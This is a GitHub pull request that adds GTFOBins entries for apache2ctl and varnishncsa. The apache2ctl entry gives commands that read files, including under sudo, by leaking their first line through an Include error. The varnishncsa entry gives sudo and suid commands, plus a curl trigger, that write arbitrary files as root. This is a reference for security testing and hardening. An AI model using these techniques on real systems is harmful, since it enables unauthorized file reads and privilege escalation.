Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add varnishncsa & apache2ctl #394

Merged
merged 5 commits into from
Dec 23, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 12 additions & 0 deletions _gtfobins/apache2ctl.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
---
description: This includes the file in the actual configuration file, the first line is leaked as an error message.
functions:
file-read:
- code: |
LFILE=file_to_read
apache2ctl -c "Include $LFILE" -k stop
sudo:
- code: |
LFILE=file_to_read
sudo apache2ctl -c "Include $LFILE" -k stop
---
17 changes: 17 additions & 0 deletions _gtfobins/varnishncsa.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
---
description: |
This allows to write arbitrary files as root, provided that the proper HTTP response is made. Specifically the content of a certain header will be written in the file. First start `varnishncsa` as follows, then trigger the file write with:

```
curl -H 'yyy: DATA' http://localhost:6081/xxx
```
functions:
sudo:
- code: |
LFILE=file_to_write
sudo varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"
suid:
- code: |
LFILE=file_to_write
./varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"
---
Loading